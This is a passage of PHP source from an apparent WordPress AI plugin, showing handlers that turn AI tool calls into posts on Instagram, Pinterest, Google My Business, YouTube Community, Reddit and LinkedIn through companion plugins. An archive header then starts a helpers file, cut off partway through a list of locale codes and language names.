'wp-admin/includes/plugin.php' ); } $instamatic_active = false; if (is_plugin_active('instamatic-instagram-post-generator/instamatic-instagram-post-generator.php')) { $instamatic_active = true; } if(!$instamatic_active) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Required plugin (Instamatic) not activated.', 'assistant_message' => $as_mes )); continue; } $content = ''; if(isset($tool_call->function->arguments->content)) { $content = $tool_call->function->arguments->content; } require_once(dirname(__FILE__) . "/aiomatic-socials.php"); $card_type_found = array('required_plugin' => array('instamatic-instagram-post-generator/instamatic-instagram-post-generator.php' => array('iMediamatic Automatic Post Generator', 'https://1.envato.market/instamatic'))); $return_me = aiomatic_post_image_to_instagram($card_type_found, $content, $image_url); if(isset($return_me['error'])) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Instagram posting failed: ' . $return_me['error']); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Instagram posting failed: ' . $return_me['error'], 'assistant_message' => $as_mes )); continue; } elseif(empty($return_me)) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Failed to parse Instagram posting results'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to parse Instagram posting results', 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Instagram posting success: ' . json_encode($return_me, true), 'assistant_message' => $as_mes )); continue; } } catch (Exception $e) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Instagram posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Instagram posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!', 'assistant_message' => $as_mes )); continue; } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'image_url parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_publish_pinterest') { if(isset($tool_call->function->arguments->image_url)) { $result = ''; $image_url = $tool_call->function->arguments->image_url; if (empty($image_url)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty image_url parameter provided', 'assistant_message' => $as_mes )); continue; } try { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $instamatic_active = false; if (is_plugin_active('pinterestomatic-pinterest-post-generator/pinterestomatic-pinterest-post-generator.php')) { $instamatic_active = true; } if(!$instamatic_active) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Required plugin (Pinterestomatic) not activated.', 'assistant_message' => $as_mes )); continue; } $page_to_post = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if (isset($aiomatic_Chatbot_Settings['pinterest_post_select']) && $aiomatic_Chatbot_Settings['pinterest_post_select'] != '') { $page_to_post = $aiomatic_Chatbot_Settings['pinterest_post_select']; } if (empty($page_to_post)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'No boards where to publish the post was selected', 'assistant_message' => $as_mes )); continue; } $title = ''; if(isset($tool_call->function->arguments->title)) { $title = $tool_call->function->arguments->title; } $description = ''; if(isset($tool_call->function->arguments->description)) { $description = $tool_call->function->arguments->description; } $pin_url = ''; if(isset($tool_call->function->arguments->pin_url)) { $pin_url = $tool_call->function->arguments->pin_url; } require_once(dirname(__FILE__) . "/aiomatic-socials.php"); $card_type_found = array('required_plugin' => array('pinterestomatic-pinterest-post-generator/pinterestomatic-pinterest-post-generator.php' => array('Pinterestomatic Automatic Post Generator', 'https://1.envato.market/pinterestomatic'))); $return_me = aiomatic_post_image_to_pinterest($card_type_found, $description, $title, $pin_url, $image_url, $page_to_post); if(isset($return_me['error'])) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Pinterest posting failed: ' . $return_me['error']); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Pinterest posting failed: ' . $return_me['error'], 'assistant_message' => $as_mes )); continue; } elseif(empty($return_me)) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Failed to parse Pinterest posting results'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to parse Pinterest posting results', 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Pinterest posting success: ' . json_encode($return_me, true), 'assistant_message' => $as_mes )); continue; } } catch (Exception $e) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Pinterest posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Pinterest posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!', 'assistant_message' => $as_mes )); continue; } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'image_url parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_publish_google_my_business') { if(isset($tool_call->function->arguments->content) && isset($tool_call->function->arguments->image_url)) { $result = ''; $image_url = $tool_call->function->arguments->image_url; if (empty($image_url)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty image_url parameter provided', 'assistant_message' => $as_mes )); continue; } $content = $tool_call->function->arguments->content; if (empty($content)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty content parameter provided', 'assistant_message' => $as_mes )); continue; } try { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $instamatic_active = false; if (is_plugin_active('businessomatic-google-my-business-post-generator/businessomatic-google-my-business-post-generator.php')) { $instamatic_active = true; } if(!$instamatic_active) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Required plugin (Businessomatic) not activated.', 'assistant_message' => $as_mes )); continue; } $page_to_post = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if (isset($aiomatic_Chatbot_Settings['business_post_select']) && $aiomatic_Chatbot_Settings['business_post_select'] != '') { $page_to_post = $aiomatic_Chatbot_Settings['business_post_select']; } if (empty($page_to_post)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'No pages where to publish the post was selected', 'assistant_message' => $as_mes )); continue; } require_once(dirname(__FILE__) . "/aiomatic-socials.php"); $card_type_found = array('required_plugin' => array('businessomatic-google-my-business-post-generator/businessomatic-google-my-business-post-generator.php' => array('Businessomatic Automatic Post Generator', 'https://1.envato.market/businessomatic'))); $return_me = aiomatic_post_to_gmb($card_type_found, $content, $image_url, $page_to_post); if(isset($return_me['error'])) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('GMB posting failed: ' . $return_me['error']); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'GMB posting failed: ' . $return_me['error'], 'assistant_message' => $as_mes )); continue; } elseif(empty($return_me)) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Failed to parse GMB posting results'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to parse GMB posting results', 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'GMB posting success: ' . json_encode($return_me, true), 'assistant_message' => $as_mes )); continue; } } catch (Exception $e) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('GMB posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'GMB posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!', 'assistant_message' => $as_mes )); continue; } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'image_url or content parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_publish_youtube_community') { if(isset($tool_call->function->arguments->content) && isset($tool_call->function->arguments->post_type)) { $result = ''; $post_type = $tool_call->function->arguments->post_type; if (empty($post_type)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty post_type parameter provided', 'assistant_message' => $as_mes )); continue; } $post_type = trim($post_type); if($post_type != 'image' && $post_type != 'text') { $post_type = 'text'; } $content = $tool_call->function->arguments->content; if (empty($content)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty content parameter provided', 'assistant_message' => $as_mes )); continue; } $image_url = ''; if(isset($tool_call->function->arguments->image_url)) { $image_url = $tool_call->function->arguments->image_url; } try { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $instamatic_active = false; if (is_plugin_active('youtubomatic-youtube-post-generator/youtubomatic-youtube-post-generator.php')) { $instamatic_active = true; } if(!$instamatic_active) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Required plugin (Youtubomatic) not activated.', 'assistant_message' => $as_mes )); continue; } if($image_url != '') { $media = array($image_url); } else { $media = array(); } require_once(dirname(__FILE__) . "/aiomatic-socials.php"); $card_type_found = array('required_plugin' => array('youtubomatic-youtube-post-generator/youtubomatic-youtube-post-generator.php' => array('Youtubomatic Automatic Post Generator', 'https://1.envato.market/youtubomatic'))); $return_me = aiomatic_post_to_youtube_community($card_type_found, $content, $post_type, $media); if(isset($return_me['error'])) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('YouTube Community posting failed: ' . $return_me['error']); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'YouTube Community posting failed: ' . $return_me['error'], 'assistant_message' => $as_mes )); continue; } elseif(empty($return_me)) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Failed to parse YouTube Community posting results'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to parse YouTube Community posting results', 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'YouTube Community posting success: ' . json_encode($return_me, true), 'assistant_message' => $as_mes )); continue; } } catch (Exception $e) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('YouTube Community posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'YouTube Community posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!', 'assistant_message' => $as_mes )); continue; } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'content or post_type parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_publish_reddit') { if(isset($tool_call->function->arguments->content) && isset($tool_call->function->arguments->title)) { $result = ''; $title = $tool_call->function->arguments->title; if (empty($title)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty title parameter provided', 'assistant_message' => $as_mes )); continue; } $content = $tool_call->function->arguments->content; if (empty($content)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty content parameter provided', 'assistant_message' => $as_mes )); continue; } try { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $instamatic_active = false; if (is_plugin_active('redditomatic-reddit-post-generator/redditomatic-reddit-post-generator.php')) { $instamatic_active = true; } if(!$instamatic_active) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Required plugin (Redditomatic) not activated.', 'assistant_message' => $as_mes )); continue; } $subreddit_to_post = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if (isset($aiomatic_Chatbot_Settings['subreddits_list']) && $aiomatic_Chatbot_Settings['subreddits_list'] != '') { $subreddit_to_post = $aiomatic_Chatbot_Settings['subreddits_list']; } if (empty($subreddit_to_post)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'No subreddits were defined where to publish the post', 'assistant_message' => $as_mes )); continue; } require_once(dirname(__FILE__) . "/aiomatic-socials.php"); $card_type_found = array('required_plugin' => array('redditomatic-reddit-post-generator/redditomatic-reddit-post-generator.php' => array('Redditomatic Automatic Post Generator', 'https://1.envato.market/redditomatic'))); $return_me = aiomatic_post_to_reddit($card_type_found, $title, $content, 'auto', $subreddit_to_post); if(isset($return_me['error'])) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Reddit posting failed: ' . $return_me['error']); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Reddit posting failed: ' . $return_me['error'], 'assistant_message' => $as_mes )); continue; } elseif(empty($return_me)) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Failed to parse Reddit posting results'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to parse Reddit posting results', 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Reddit posting success: ' . json_encode($return_me, true), 'assistant_message' => $as_mes )); continue; } } catch (Exception $e) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Reddit posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Reddit posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!', 'assistant_message' => $as_mes )); continue; } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'content or title parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_publish_linkedin') { if(isset($tool_call->function->arguments->content) && isset($tool_call->function->arguments->title)) { $result = ''; $title = $tool_call->function->arguments->title; if (empty($title)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty title parameter provided', 'assistant_message' => $as_mes )); continue; } $content = $tool_call->function->arguments->content; if (empty($content)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty content parameter provided', 'assistant_message' => $as_mes )); continue; } $description = ''; $post_link = ''; $image_url = ''; if(isset($tool_call->function->arguments->description)) { $description = $tool_call->function->arguments->description; } if(isset($tool_call->function->arguments->link)) { $post_link = $tool_call->function->arguments->link; } if(isset($tool_call->function->arguments->image_url)) { $image_url = $tool_call->function->arguments->image_url; } try { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $instamatic_active = false; if (is_plugin_active('linkedinomatic-linkedin-post-generator/linkedinomatic-linkedin-post-generator.php')) { $instamatic_active = true; } if(!$instamatic_active) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Required plugin (Linkedinomatic) not activated.', 'assistant_message' => $as_mes )); continue; } $selected_pages = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if (isset($aiomatic_Chatbot_Settings['linkedin_selected_pages']) && $aiomatic_Chatbot_Settings['linkedin_selected_pages'] != '') { $selected_pages = $aiomatic_Chatbot_Settings['linkedin_selected_pages']; } if (empty($selected_pages)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'No pages selected where to post to LinkedIn', 'assistant_message' => $as_mes )); continue; } require_once(dirname(__FILE__) . "/aiomatic-socials.php"); $card_type_found = array('required_plugin' => array('linkedinomatic-linkedin-post-generator/linkedinomatic-linkedin-post-generator.php' => array('Linkedinomatic Automatic Post Generator', 'https://1.envato.market/linkedinomatic'))); $return_me = aiomatic_post_to_linkedin($card_type_found, $content, $image_url, $title, $post_link, $description, '1', $selected_pages); if(isset($return_me['error'])) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('LinkedIn posting failed: ' . $return_me['error']); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'LinkedIn posting failed: ' . $return_me['error'], 'assistant_message' => $as_mes )); continue; } elseif(empty($return_me)) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Failed to parse LinkedIn posting results'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to parse LinkedIn posting results', 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'LinkedIn posting success: ' . json_encode($return_me, true), 'assistant_message' => $as_mes )); continue; } } catch (Exception $e) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('LinkedIn posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'LinkedIn posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!', 'assistant_message' => $as_mes )); continue; } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'content or title parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } } } } } return $reply; } ?>aiomatic-helpers.php000064400001034017147577714370010537 0ustar00 "Afrikaans (Namibia)", 'af_ZA' => "Afrikaans (South Africa)", 'af' => "Afrikaans", 'ak_GH' => "Akan (Ghana)", 'ak' => "Akan", 'sq_AL' => "Albanian (Albania)", 'sq' => "Albanian", 'am_ET' => "Amharic (Ethiopia)", 'am' => "Amharic", 'ar_DZ' => "Arabic (Algeria)", 'ar_BH' => "Arabic (Bahrain)", 'ar_EG' => "Arabic (Egypt)", 'ar_IQ' => "Arabic (Iraq)", 'ar_JO' => "Arabic (Jordan)", 'ar_KW' => "Arabic (Kuwait)", 'ar_LB' => "Arabic (Lebanon)", 'ar_LY' => "Arabic (Libya)", 'ar_MA' => "Arabic (Morocco)", 'ar_OM' => "Arabic (Oman)", 'ar_QA' => "Arabic (Qatar)", 'ar_SA' => "Arabic (Saudi Arabia)", 'ar_SD' => "Arabic (Sudan)", 'ar_SY' => "Arabic (Syria)", 'ar_TN' => "Arabic (Tunisia)", 'ar_AE' => "Arabic (United Arab Emirates)", 'ar_YE' => "Arabic (Yemen)", 'ar' => "Arabic", 'hy_AM' => "Armenian (Armenia)", 'hy' => "Armenian", 'as_IN' => "Assamese (India)", 'as' => "Assamese", 'asa_TZ' => "Asu (Tanzania)", 'asa' => "Asu", 'az_Cyrl' => "Azerbaijani (Cyrillic)", 'az_Cyrl_AZ' => "Azerbaijani (Cyrillic, Azerbaijan)", 'az_Latn' => "Azerbaijani (Latin)", 'az_Latn_AZ' => "Azerbaijani (Latin, Azerbaijan)", 'az' => "Azerbaijani", 'bm_ML' => "Bambara (Mali)", 'bm' => "Bambara", 'eu_ES' => "Basque (Spain)", 'eu' => "Basque", 'be_BY' => "Belarusian (Belarus)", 'be' => "Belarusian", 'bem_ZM' => "Bemba (Zambia)", 'bem' => "Bemba", 'bez_TZ' => "Bena (Tanzania)", 'bez' => "Bena", 'bn_BD' => "Bengali (Bangladesh)", 'bn_IN' => "Bengali (India)", 'bn' => "Bengali", 'bs_BA' => "Bosnian (Bosnia and Herzegovina)", 'bs' => "Bosnian", 'bg_BG' => "Bulgarian (Bulgaria)", 'bg' => "Bulgarian", 'my_MM' => "Burmese (Myanmar [Burma])", 'my' => "Burmese", 'yue_Hant_HK' => "Cantonese (Traditional, Hong Kong SAR China)", 'ca_ES' => "Catalan (Spain)", 'ca' => "Catalan", 'tzm_Latn' => "Central Morocco Tamazight (Latin)", 'tzm_Latn_MA' => "Central Morocco Tamazight (Latin, Morocco)", 'tzm' => "Central Morocco Tamazight", 'chr_US' => "Cherokee (United States)", 'chr' => "Cherokee", 'cgg_UG' => "Chiga (Uganda)", 'cgg' => "Chiga", 'zh_Hans' => "Chinese (Simplified Han)", 'zh_Hans_CN' => "Chinese (Simplified Han, China)", 'zh_Hans_HK' => "Chinese (Simplified Han, Hong Kong SAR China)", 'zh_Hans_MO' => "Chinese (Simplified Han, Macau SAR China)", 'zh_Hans_SG' => "Chinese (Simplified Han, Singapore)", 'zh_Hant' => "Chinese (Traditional Han)", 'zh_Hant_HK' => "Chinese (Traditional Han, Hong Kong SAR China)", 'zh_Hant_MO' => "Chinese (Traditional Han, Macau SAR China)", 'zh_Hant_TW' => "Chinese (Traditional Han, Taiwan)", 'zh' => "Chinese", 'kw_GB' => "Cornish (United Kingdom)", 'kw' => "Cornish", 'hr_HR' => "Croatian (Croatia)", 'hr' => "Croatian", 'cs_CZ' => "Czech (Czech Republic)", 'cs' => "Czech", 'da_DK' => "Danish (Denmark)", 'da' => "Danish", 'nl_BE' => "Dutch (Belgium)", 'nl_NL' => "Dutch (Netherlands)", 'nl' => "Dutch", 'ebu_KE' => "Embu (Kenya)", 'ebu' => "Embu", 'en_AS' => "English (American Samoa)", 'en_AU' => "English (Australia)", 'en_BE' => "English (Belgium)", 'en_BZ' => "English (Belize)", 'en_BW' => "English (Botswana)", 'en_CA' => "English (Canada)", 'en_GU' => "English (Guam)", 'en_HK' => "English (Hong Kong SAR China)", 'en_IN' => "English (India)", 'en_IE' => "English (Ireland)", 'en_IL' => "English (Israel)", 'en_JM' => "English (Jamaica)", 'en_MT' => "English (Malta)", 'en_MH' => "English (Marshall Islands)", 'en_MU' => "English (Mauritius)", 'en_NA' => "English (Namibia)", 'en_NZ' => "English (New Zealand)", 'en_MP' => "English (Northern Mariana Islands)", 'en_PK' => "English (Pakistan)", 'en_PH' => "English (Philippines)", 'en_SG' => "English (Singapore)", 'en_ZA' => "English (South Africa)", 'en_TT' => "English (Trinidad and Tobago)", 'en_UM' => "English (U.S. Minor Outlying Islands)", 'en_VI' => "English (U.S. Virgin Islands)", 'en_GB' => "English (United Kingdom)", 'en_US' => "English (United States)", 'en_ZW' => "English (Zimbabwe)", 'en' => "English", 'eo' => "Esperanto", 'et_EE' => "Estonian (Estonia)", 'et' => "Estonian", 'ee_GH' => "Ewe (Ghana)", 'ee_TG' => "Ewe (Togo)", 'ee' => "Ewe", 'fo_FO' => "Faroese (Faroe Islands)", 'fo' => "Faroese", 'fil_PH' => "Filipino (Philippines)", 'fil' => "Filipino", 'fi_FI' => "Finnish (Finland)", 'fi' => "Finnish", 'fr_BE' => "French (Belgium)", 'fr_BJ' => "French (Benin)", 'fr_BF' => "French (Burkina Faso)", 'fr_BI' => "French (Burundi)", 'fr_CM' => "French (Cameroon)", 'fr_CA' => "French (Canada)", 'fr_CF' => "French (Central African Republic)", 'fr_TD' => "French (Chad)", 'fr_KM' => "French (Comoros)", 'fr_CG' => "French (Congo - Brazzaville)", 'fr_CD' => "French (Congo - Kinshasa)", 'fr_CI' => "French (Côte d'Ivoire)", 'fr_DJ' => "French (Djibouti)", 'fr_GQ' => "French (Equatorial Guinea)", 'fr_FR' => "French (France)", 'fr_GA' => "French (Gabon)", 'fr_GP' => "French (Guadeloupe)", 'fr_GN' => "French (Guinea)", 'fr_LU' => "French (Luxembourg)", 'fr_MG' => "French (Madagascar)", 'fr_ML' => "French (Mali)", 'fr_MQ' => "French (Martinique)", 'fr_MC' => "French (Monaco)", 'fr_NE' => "French (Niger)", 'fr_RW' => "French (Rwanda)", 'fr_RE' => "French (Réunion)", 'fr_BL' => "French (Saint Barthélemy)", 'fr_MF' => "French (Saint Martin)", 'fr_SN' => "French (Senegal)", 'fr_CH' => "French (Switzerland)", 'fr_TG' => "French (Togo)", 'fr' => "French", 'ff_SN' => "Fulah (Senegal)", 'ff' => "Fulah", 'gl_ES' => "Galician (Spain)", 'gl' => "Galician", 'lg_UG' => "Ganda (Uganda)", 'lg' => "Ganda", 'ka_GE' => "Georgian (Georgia)", 'ka' => "Georgian", 'de_AT' => "German (Austria)", 'de_BE' => "German (Belgium)", 'de_DE' => "German (Germany)", 'de_LI' => "German (Liechtenstein)", 'de_LU' => "German (Luxembourg)", 'de_CH' => "German (Switzerland)", 'de' => "German", 'el_CY' => "Greek (Cyprus)", 'el_GR' => "Greek (Greece)", 'el' => "Greek", 'gu_IN' => "Gujarati (India)", 'gu' => "Gujarati", 'guz_KE' => "Gusii (Kenya)", 'guz' => "Gusii", 'ha_Latn' => "Hausa (Latin)", 'ha_Latn_GH' => "Hausa (Latin, Ghana)", 'ha_Latn_NE' => "Hausa (Latin, Niger)", 'ha_Latn_NG' => "Hausa (Latin, Nigeria)", 'ha' => "Hausa", 'haw_US' => "Hawaiian (United States)", 'haw' => "Hawaiian", 'he_IL' => "Hebrew (Israel)", 'he' => "Hebrew", 'hi_IN' => "Hindi (India)", 'hi' => "Hindi", 'hu_HU' => "Hungarian (Hungary)", 'hu' => "Hungarian", 'is_IS' => "Icelandic (Iceland)", 'is' => "Icelandic", 'ig_NG' => "Igbo (Nigeria)", 'ig' => "Igbo", 'id_ID' => "Indonesian (Indonesia)", 'id' => "Indonesian", 'ga_IE' => "Irish (Ireland)", 'ga' => "Irish", 'it_IT' => "Italian (Italy)", 'it_CH' => "Italian (Switzerland)", 'it' => "Italian", 'ja_JP' => "Japanese (Japan)", 'ja' => "Japanese", 'kea_CV' => "Kabuverdianu (Cape Verde)", 'kea' => "Kabuverdianu", 'kab_DZ' => "Kabyle (Algeria)", 'kab' => "Kabyle", 'kl_GL' => "Kalaallisut (Greenland)", 'kl' => "Kalaallisut", 'kln_KE' => "Kalenjin (Kenya)", 'kln' => "Kalenjin", 'kam_KE' => "Kamba (Kenya)", 'kam' => "Kamba", 'kn_IN' => "Kannada (India)", 'kn' => "Kannada", 'kk_Cyrl' => "Kazakh (Cyrillic)", 'kk_Cyrl_KZ' => "Kazakh (Cyrillic, Kazakhstan)", 'kk' => "Kazakh", 'km_KH' => "Khmer (Cambodia)", 'km' => "Khmer", 'ki_KE' => "Kikuyu (Kenya)", 'ki' => "Kikuyu", 'rw_RW' => "Kinyarwanda (Rwanda)", 'rw' => "Kinyarwanda", 'kok_IN' => "Konkani (India)", 'kok' => "Konkani", 'ko_KR' => "Korean (South Korea)", 'ko' => "Korean", 'khq_ML' => "Koyra Chiini (Mali)", 'khq' => "Koyra Chiini", 'ses_ML' => "Koyraboro Senni (Mali)", 'ses' => "Koyraboro Senni", 'lag_TZ' => "Langi (Tanzania)", 'lag' => "Langi", 'lv_LV' => "Latvian (Latvia)", 'lv' => "Latvian", 'lt_LT' => "Lithuanian (Lithuania)", 'lt' => "Lithuanian", 'luo_KE' => "Luo (Kenya)", 'luo' => "Luo", 'luy_KE' => "Luyia (Kenya)", 'luy' => "Luyia", 'mk_MK' => "Macedonian (Macedonia)", 'mk' => "Macedonian", 'jmc_TZ' => "Machame (Tanzania)", 'jmc' => "Machame", 'kde_TZ' => "Makonde (Tanzania)", 'kde' => "Makonde", 'mg_MG' => "Malagasy (Madagascar)", 'mg' => "Malagasy", 'ms_BN' => "Malay (Brunei)", 'ms_MY' => "Malay (Malaysia)", 'ms' => "Malay", 'ml_IN' => "Malayalam (India)", 'ml' => "Malayalam", 'mt_MT' => "Maltese (Malta)", 'mt' => "Maltese", 'gv_GB' => "Manx (United Kingdom)", 'gv' => "Manx", 